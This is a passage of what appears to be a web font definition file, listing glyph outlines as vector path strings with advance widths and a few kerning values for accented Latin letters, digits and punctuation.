r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260","w":578},{"d":"199,12v-62,1,-107,-9,-151,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,247,44,241,205v-4,115,-91,163,-210,165xm254,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":455},{"d":"292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0xm301,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":557},{"d":"297,-778v-32,5,-71,5,-104,0r100,-110v38,-6,83,-5,122,0xm502,-778v-31,5,-71,5,-103,0r99,-110v39,-6,84,-5,123,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"550,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm407,-79v38,0,70,-4,97,-12r0,-281v30,-5,71,-5,101,0r0,351v-54,23,-128,33,-203,33v-227,0,-343,-138,-343,-367v0,-177,76,-293,199,-349v87,-39,228,-31,311,1v-3,34,-13,56,-24,84v-43,-13,-81,-25,-142,-23v-164,5,-235,118,-235,287v0,170,75,272,239,276","w":681},{"d":"479,59v-30,4,-67,4,-97,0r0,-137r-341,0r-8,-11r293,-574v33,3,63,17,87,33r-233,464r202,0r0,-190v30,-5,67,-5,97,0r0,190r92,0v5,27,5,61,0,88r-92,0r0,137"},{"d":"508,-88v5,27,5,62,0,88r-445,0r-6,-13r245,-287v34,-46,74,-85,74,-157v0,-75,-52,-109,-131,-109v-64,0,-102,18,-145,36v-10,-25,-22,-53,-25,-84v50,-20,104,-42,177,-41v135,2,229,53,229,188v0,122,-69,187,-142,270r-96,109r265,0"},{"d":"184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r-1,715v10,161,-135,207,-284,172v0,-33,4,-58,16,-84v79,22,184,6,175,-89r-314,-532r0,537","w":680},{"d":"262,-476v-2,95,38,139,101,170r0,13v-92,37,-106,120,-102,254v4,144,-61,209,-207,205v-5,-24,-6,-56,0,-79v100,5,114,-60,112,-159v-2,-113,11,-194,85,-228v-76,-33,-87,-119,-85,-233v2,-97,-13,-159,-112,-153v-5,-23,-5,-55,0,-79v132,-5,195,46,204,164v3,36,4,78,4,125","w":414},{"d":"199,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm403,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":500},{"d":"417,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164","w":517},{"d":"0,-235v-5,-28,-5,-63,0,-91r500,0v5,27,5,64,0,91r-500,0","w":500},{"d":"227,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm252,8v-99,-1,-153,-46,-153,-151r0,-291r-78,0r-4,-14r172,-192r8,0r0,127r130,0v6,23,5,56,0,79r-130,0r0,234v1,75,0,128,75,128v22,0,42,-4,59,-8v9,22,10,51,10,78v-27,7,-56,10,-89,10","w":358},{"d":"288,-1v-110,27,-210,-11,-210,-132r0,-600v29,-5,69,-5,98,0r0,578v0,52,13,83,63,82v12,0,30,-1,40,-4v6,23,9,49,9,76","w":298},{"d":"317,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm231,12v-75,0,-131,-12,-185,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v116,0,188,-65,155,-172v-72,-126,-317,-75,-317,-286v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-282,-54,-274,76v5,89,94,101,160,129v90,39,169,79,169,205v-1,147,-113,222,-270,222","w":545},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,59,9,81v27,-52,72,-92,150,-93v81,0,118,35,142,93v31,-48,72,-92,150,-93v123,0,169,72,170,198r0,327v-30,5,-69,5,-99,0r0,-298v-1,-81,-17,-138,-90,-138v-76,0,-114,60,-114,146r0,290v-29,5,-69,5,-98,0r0,-305v-1,-78,-16,-134,-84,-134v-171,0,-110,265,-121,439","w":854},{"d":"207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"316,-579v-32,7,-73,6,-105,0r83,-143v30,-5,66,-5,96,0xm192,-174v-26,13,-60,61,-28,92v73,37,261,-7,320,54v40,41,54,120,19,172v-46,69,-139,105,-255,105v-120,0,-211,-27,-211,-133v0,-60,37,-103,79,-125v-25,-17,-47,-40,-47,-81v0,-55,28,-86,61,-112v-40,-28,-73,-76,-73,-142v0,-120,85,-178,209,-181v60,0,110,20,144,46v28,-22,77,-38,129,-37v6,27,5,62,0,89r-90,0v14,22,23,47,23,83v1,143,-136,201,-280,170xm253,171v86,1,166,-26,170,-93v5,-86,-122,-59,-203,-65v-56,-4,-90,34,-90,84v0,64,58,73,123,74xm161,-344v0,65,36,107,105,107v69,0,105,-42,106,-107v0,-66,-37,-109,-106,-109v-70,0,-105,43,-105,109","w":549},{"d":"283,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm471,-90v5,28,4,63,0,90r-383,0r0,-719v30,-6,71,-5,101,0r0,629r282,0","w":495},{"d":"288,-1v-110,27,-210,-11,-210,-132r0,-600v29,-5,69,-5,98,0r0,578v0,52,13,83,63,82v12,0,30,-1,40,-4v6,23,9,49,9,76xm368,-333v-34,5,-75,5,-109,0v-5,-34,-5,-75,0,-109v34,-5,75,-5,109,0v5,34,5,75,0,109","w":370},{"d":"300,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v25,-5,59,-5,84,0v4,18,9,59,9,81v31,-51,87,-95,175,-82v6,27,4,63,-1,90v-115,-14,-168,52,-168,169r0,255xm214,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":372},{"d":"384,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r0,719v-28,5,-66,5,-94,0r-314,-537r0,537","w":680},{"d":"452,-395v5,22,5,53,0,75r-138,0r0,320v-31,4,-71,4,-102,0r0,-320r-139,0v-5,-22,-5,-53,0,-75r139,0r0,-235r-187,0v-5,-26,-5,-63,0,-89r476,0v5,26,5,62,0,89r-187,0r0,235r138,0","w":526},{"d":"116,-609v-13,-17,-25,-36,-31,-59v20,-25,51,-50,96,-49v61,1,90,44,150,44v33,0,44,-11,67,-31v15,18,25,38,32,61v-21,24,-53,48,-97,47v-60,-1,-91,-44,-149,-44v-35,0,-44,12,-68,31xm147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164","w":517},{"d":"979,-157v5,19,6,54,0,71r-48,0r0,77v-27,4,-54,4,-79,0r0,-77r-208,0r-8,-13r164,-325v27,3,51,11,73,24r-119,243r98,0r0,-79v25,-4,53,-4,79,0r0,79r48,0xm741,-708v31,-5,70,-5,101,0r-483,707v-32,5,-70,5,-101,0xm300,-435v1,-56,-69,-70,-124,-58r-11,-12r87,-133r-140,0v-4,-24,-4,-45,0,-69r256,0r8,15r-98,142v63,9,107,47,109,113v4,141,-174,165,-302,126v3,-24,11,-50,20,-68v68,25,194,32,195,-56","w":1050},{"d":"44,-87v77,24,167,7,167,-90r0,-453r-126,0v-5,-26,-5,-63,0,-89r228,0r0,519v2,140,-56,213,-193,212v-32,0,-66,-6,-92,-12v0,-32,7,-61,16,-87","w":396},{"d":"452,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"20,-733v26,-6,71,-5,97,0r-55,163v-26,5,-57,6,-83,0xm184,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260","w":584},{"d":"185,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm471,-90v5,28,4,63,0,90r-383,0r0,-719v30,-6,71,-5,101,0r0,629r282,0","w":495},{"d":"85,160v39,15,106,14,123,-24v17,-38,32,-92,47,-135r-72,-1r-170,-513v33,-4,76,-4,109,0r142,477r147,-477v29,-4,71,-4,102,0r-199,617v-29,80,-55,146,-160,145v-30,0,-62,-5,-85,-12v0,-33,6,-54,16,-77xm275,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":527},{"d":"353,0v-31,5,-71,5,-102,0r0,-157r-184,0v-5,-16,-5,-51,0,-69r184,0r0,-88r-184,0v-5,-16,-5,-51,0,-69r144,0r-184,-324v34,-5,80,-5,114,0r164,302r161,-302v33,-5,75,-5,108,0r-181,324r152,0v4,19,4,51,0,69r-192,0r0,88r192,0v4,19,4,51,0,69r-192,0r0,157"},{"d":"74,-720v29,-7,72,-5,102,0r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm199,12v-62,1,-107,-9,-151,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,247,44,241,205v-4,115,-91,163,-210,165","w":455},{"d":"452,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188","w":577},{"d":"508,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"175,-221v-34,5,-75,5,-109,0v-5,-34,-5,-75,0,-109v34,-5,75,-5,109,0v5,34,5,75,0,109","w":241},{"d":"529,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"455,-95v10,19,19,51,20,79v-57,26,-115,61,-121,137v-4,54,58,63,104,46v9,15,13,43,15,63v-85,26,-214,13,-210,-89v2,-54,35,-99,70,-129v-187,5,-284,-87,-284,-265v0,-164,78,-272,242,-272v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25xm408,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":556},{"d":"192,-802v-13,-18,-27,-34,-33,-57v26,-31,85,-66,143,-43v38,15,72,42,120,42v34,0,45,-14,68,-34v15,19,26,38,33,59v-22,21,-57,49,-100,48v-65,-1,-99,-49,-162,-49v-35,0,-46,15,-69,34xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"233,-594v-29,5,-69,5,-99,0r113,-127v37,-5,82,-5,119,0xm425,-594v-29,5,-69,5,-99,0r114,-127v37,-5,81,-5,118,0xm314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"140,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm520,-89v5,26,5,64,0,89r-487,0r-6,-9r362,-621r-317,0v-5,-26,-5,-63,0,-89r467,0r7,9r-363,621r337,0","w":570},{"d":"273,-778v-32,5,-71,5,-104,0r100,-110v38,-6,83,-5,122,0xm478,-778v-31,5,-71,5,-103,0r99,-110v39,-6,84,-5,123,0xm337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"277,142v0,-48,-82,-37,-122,-29v-1,-1,-3,-2,-6,-5r36,-96v-56,-1,-96,-9,-137,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,244,44,241,205v-2,93,-72,149,-161,161r-18,49v69,-8,122,24,123,84v2,98,-132,116,-221,88v2,-21,4,-43,14,-58v47,17,131,21,131,-29","w":456},{"d":"199,12v-62,1,-107,-9,-151,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,247,44,241,205v-4,115,-91,163,-210,165","w":455},{"d":"188,0v-29,5,-68,5,-98,0r0,-583r-73,0v-6,-18,-5,-49,0,-68r73,0r0,-82v29,-5,68,-5,98,0r0,82r146,0v5,19,5,49,0,68r-146,0r0,148v32,-47,78,-90,158,-90v122,0,173,74,173,200r0,325v-30,5,-69,5,-99,0r0,-298v0,-84,-20,-138,-94,-138v-98,0,-137,70,-138,173r0,263","w":589},{"d":"349,0v-32,5,-72,5,-103,0r0,-263r-228,-456v34,-5,80,-5,114,0r168,357r166,-357v33,-5,75,-5,108,0r-225,456r0,263","w":592,"k":{"\u012d":-30,"\u0129":-20,"\u00ef":-30,"\u00ec":-30}},{"d":"332,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28xm313,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":574},{"d":"202,-794v-5,-22,-5,-53,0,-75r319,0v4,22,4,54,0,75r-319,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"48,-152v1,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-59,27,-113,66,-118,135v-4,54,58,64,104,46v9,14,13,42,15,63v-86,25,-214,12,-210,-89v2,-55,37,-103,73,-133v-142,14,-266,-21,-264,-161xm147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87","w":517},{"d":"311,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"487,-368v-29,4,-63,5,-93,1r-122,-268r-117,268v-29,4,-64,3,-94,-1r162,-351v32,-5,72,-5,104,0","w":550},{"d":"192,-174v-26,13,-60,61,-28,92v73,37,261,-7,320,54v40,41,54,120,19,172v-46,69,-139,105,-255,105v-120,0,-211,-27,-211,-133v0,-60,37,-103,79,-125v-25,-17,-47,-40,-47,-81v0,-55,28,-86,61,-112v-40,-28,-73,-76,-73,-142v0,-120,85,-178,209,-181v60,0,110,20,144,46v28,-22,77,-38,129,-37v6,27,5,62,0,89r-90,0v14,22,23,47,23,83v1,143,-136,201,-280,170xm253,171v86,1,166,-26,170,-93v5,-86,-122,-59,-203,-65v-56,-4,-90,34,-90,84v0,64,58,73,123,74xm161,-344v0,65,36,107,105,107v69,0,105,-42,106,-107v0,-66,-37,-109,-106,-109v-70,0,-105,43,-105,109","w":553},{"d":"600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"82,-690v103,-43,280,-27,275,102v-4,99,-75,151,-130,210r153,0v2,24,2,48,0,72r-309,0r-5,-12v60,-67,135,-132,184,-207v13,-21,19,-39,19,-56v1,-74,-122,-59,-168,-38v-7,-19,-16,-46,-19,-71","w":450},{"d":"402,-636v-86,-29,-219,-21,-217,81v2,65,45,94,120,94r218,0r92,-126r8,0r0,126r130,0v6,23,5,57,0,81r-130,0r0,148v-3,173,-120,244,-295,244v-154,0,-270,-61,-270,-216v0,-102,55,-171,128,-204v-55,-26,-102,-68,-102,-150v0,-166,193,-200,340,-153v-2,33,-8,53,-22,75xm168,-220v0,97,65,142,168,142v127,0,191,-59,191,-181r0,-119r-203,0v-98,3,-156,62,-156,158","w":761},{"d":"215,-443v-26,5,-69,5,-97,0r0,-333v29,-5,68,-5,97,0r0,333xm215,168v-29,5,-68,5,-97,0r0,-333v29,-5,68,-5,97,0r0,333","w":333},{"d":"170,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"54,-678v-6,-24,-4,-57,0,-82r215,0r0,928r-215,0v-5,-24,-5,-58,0,-81r117,0r0,-765r-117,0","w":319},{"d":"248,12v-57,0,-127,-14,-169,-28r0,-717v30,-5,69,-5,99,0r0,282v25,-41,79,-76,148,-74v149,3,210,102,211,256v0,178,-107,281,-289,281xm307,-440v-83,0,-128,53,-129,142r0,215v23,8,51,11,81,11v116,-3,173,-73,173,-193v0,-102,-28,-175,-125,-175","w":590},{"d":"51,-235v-5,-26,-5,-64,0,-91r259,0v5,27,5,65,0,91r-259,0","w":361},{"d":"663,-288v6,23,5,56,0,79r-123,0r-15,180v-30,4,-59,4,-88,0r14,-180r-170,0r-14,180v-32,4,-59,4,-92,0r15,-180r-124,0v-4,-25,-4,-56,1,-79r130,0r14,-165r-124,0v-5,-21,-5,-57,0,-78r130,0r14,-159v27,-4,60,-5,89,-1r-13,160r170,0r14,-159v27,-4,61,-5,90,-1r-14,160r117,0v4,25,4,54,0,78r-123,0r-14,165r116,0xm457,-288r14,-165r-171,0r-13,165r170,0","w":735},{"d":"511,-566v7,36,6,63,1,95r-328,127r328,122v5,30,6,71,-1,100r-416,-169v-8,-32,-8,-74,0,-106"},{"d":"407,-78v57,1,100,-10,140,-27v15,29,24,56,28,83v-53,23,-108,34,-181,34v-223,0,-335,-141,-335,-367v0,-227,110,-370,333,-376v70,-2,122,11,171,27v-3,34,-13,56,-24,84v-41,-14,-82,-23,-139,-22v-157,2,-232,117,-230,287v1,170,72,274,237,277","w":618},{"d":"232,-367v73,0,96,-60,96,-140v-1,-80,-21,-139,-96,-139v-72,0,-96,60,-96,139v1,81,21,140,96,140xm232,-295v-127,0,-188,-85,-188,-212v0,-126,61,-212,188,-212v127,0,188,86,188,212v0,127,-61,212,-188,212xm812,-61v73,0,96,-60,96,-140v-1,-80,-21,-139,-96,-139v-72,0,-96,60,-96,139v1,81,21,140,96,140xm812,11v-127,0,-188,-85,-188,-212v0,-126,61,-212,188,-212v127,0,188,86,188,212v0,127,-61,212,-188,212xm718,-708v31,-5,70,-5,101,0r-483,707v-32,5,-70,5,-101,0","w":1050},{"d":"32,-719v29,-5,69,-5,98,0r243,719v-30,5,-67,5,-97,0","w":412},{"d":"147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164","w":517},{"d":"85,160v39,15,106,14,123,-24v17,-38,32,-92,47,-135r-72,-1r-170,-513v33,-4,76,-4,109,0r142,477r147,-477v29,-4,71,-4,102,0r-199,617v-29,80,-55,146,-160,145v-30,0,-62,-5,-85,-12v0,-33,6,-54,16,-77","w":529},{"d":"252,8v-99,-1,-153,-46,-153,-151r0,-291r-78,0r-4,-14r172,-192r8,0r0,127r130,0v6,23,5,56,0,79r-130,0r0,234v1,75,0,128,75,128v22,0,42,-4,59,-8v9,22,10,51,10,78v-27,7,-56,10,-89,10","w":358},{"d":"324,-674v40,-43,136,-55,207,-35v-3,33,-6,55,-16,81v-38,-9,-100,-13,-121,15v-26,33,-31,96,-40,149r119,0v4,25,4,53,0,78r-129,0r-44,308v-10,148,-99,250,-269,205v3,-33,7,-53,15,-80v38,9,100,13,121,-15v17,-23,25,-51,31,-91r47,-327r-87,0v-4,-24,-4,-52,0,-78r97,0v12,-79,28,-165,69,-210"},{"d":"178,236v-30,5,-69,5,-99,0r0,-749v25,-5,59,-5,84,0r10,72v30,-48,78,-84,156,-84v147,0,204,103,208,256v5,204,-153,318,-359,270r0,235xm307,-439v-84,0,-129,58,-129,147r0,208v28,10,50,13,91,13v114,0,164,-77,164,-194v0,-99,-31,-174,-126,-174","w":590},{"d":"178,0v-30,5,-69,5,-99,0r0,-733v30,-5,69,-5,99,0r0,298v31,-48,78,-90,157,-90v122,0,173,74,173,200r0,325v-29,5,-69,5,-98,0r0,-298v0,-84,-21,-138,-95,-138v-97,0,-137,70,-137,173r0,263","w":578},{"d":"22,-719v33,-6,79,-5,113,0r182,615r181,-615v35,-4,75,-5,109,0r-234,719v-36,5,-82,5,-118,0","w":629,"k":{"\u012d":-30,"\u0129":-30,"\u00ef":-30,"\u00ec":-70}},{"d":"506,236v-29,5,-69,5,-98,0r0,-236v-29,7,-60,11,-97,11v-166,-2,-259,-84,-259,-254v0,-175,101,-279,278,-282v74,-1,119,8,176,23r0,738xm315,-71v34,0,66,-6,93,-13r0,-350v-26,-6,-47,-8,-78,-8v-121,2,-175,81,-175,203v0,109,53,167,160,168","w":585},{"d":"337,12v-189,0,-257,-116,-256,-305r0,-426v31,-4,71,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v33,-4,71,-4,103,0r0,426v1,189,-67,305,-256,305","w":674},{"d":"359,166v-146,4,-207,-61,-207,-205v0,-95,3,-170,-44,-215v-14,-13,-33,-26,-58,-39r0,-13v63,-31,101,-75,101,-170v0,-126,2,-231,87,-270v28,-13,72,-20,121,-19v5,24,5,56,0,79v-102,-6,-114,60,-112,159v2,112,-10,194,-85,227v76,35,87,120,85,235v-2,96,14,157,112,152v5,23,5,55,0,79","w":414},{"d":"50,-776v28,-5,70,-6,98,0v137,191,160,623,44,860v-16,32,-29,60,-44,83v-27,6,-70,5,-98,0v67,-118,119,-276,119,-471v0,-196,-52,-353,-119,-472","w":319},{"d":"49,-718v35,-4,73,-4,108,0r143,342r-171,376v-40,4,-68,4,-108,0r178,-376xm308,-376r143,-342v36,0,74,-5,107,0r-150,339r179,379v-41,4,-66,4,-108,0","w":609},{"d":"315,-71v43,0,74,-5,107,-18v11,18,20,50,21,78v-39,15,-84,23,-135,23v-168,2,-258,-104,-258,-268v0,-164,86,-269,251,-269v56,0,95,6,135,21v0,26,-8,60,-17,79v-33,-11,-70,-17,-112,-17v-106,-1,-153,79,-153,186v0,119,52,185,161,185","w":478},{"d":"458,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm231,12v-75,0,-131,-12,-185,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v116,0,188,-65,155,-172v-72,-126,-317,-75,-317,-286v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-282,-54,-274,76v5,89,94,101,160,129v90,39,169,79,169,205v-1,147,-113,222,-270,222","w":545},{"d":"186,-435v-87,0,-146,-58,-146,-145v0,-88,59,-146,146,-146v88,0,147,57,147,146v0,88,-60,145,-147,145xm186,-659v-43,0,-74,36,-74,79v0,44,31,78,74,78v42,0,76,-34,76,-78v0,-44,-34,-79,-76,-79","w":370},{"d":"407,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm199,12v-62,1,-107,-9,-151,-24v3,-29,14,-57,23,-81v80,40,280,37,231,-86v-16,-41,-77,-45,-119,-63v-72,-29,-122,-51,-122,-135v0,-101,79,-148,191,-148v51,0,105,12,142,25v-3,28,-11,56,-21,77v-63,-30,-246,-48,-205,65v67,80,247,44,241,205v-4,115,-91,163,-210,165","w":455},{"d":"147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164xm258,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":517},{"d":"359,-517v-23,6,-56,5,-80,0r0,-203v22,-5,69,-5,94,0xm471,-90v5,28,4,63,0,90r-383,0r0,-719v30,-6,71,-5,101,0r0,629r282,0","w":486},{"d":"207,-495v-29,5,-65,5,-95,0r-62,-223v30,-5,68,-5,98,0xm402,-495v-29,5,-65,5,-95,0r-62,-223v30,-5,68,-5,98,0","w":453},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260xm320,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":578},{"d":"184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r0,719v-28,5,-66,5,-94,0r-314,-537r0,537","w":680},{"d":"89,-122v-5,-30,-6,-66,0,-95r327,-127r-327,-122v-8,-29,-6,-71,0,-100r417,169v6,32,9,73,0,106"},{"d":"207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513xm195,-626v-33,5,-74,5,-107,0v-4,-31,-4,-71,0,-101v33,-5,74,-5,107,0v4,30,4,71,0,101","w":288},{"d":"220,-378v167,-28,291,45,291,207v0,197,-168,266,-369,237v-29,-5,-55,-12,-79,-22v5,-32,15,-58,28,-84v42,14,76,24,133,24v110,0,182,-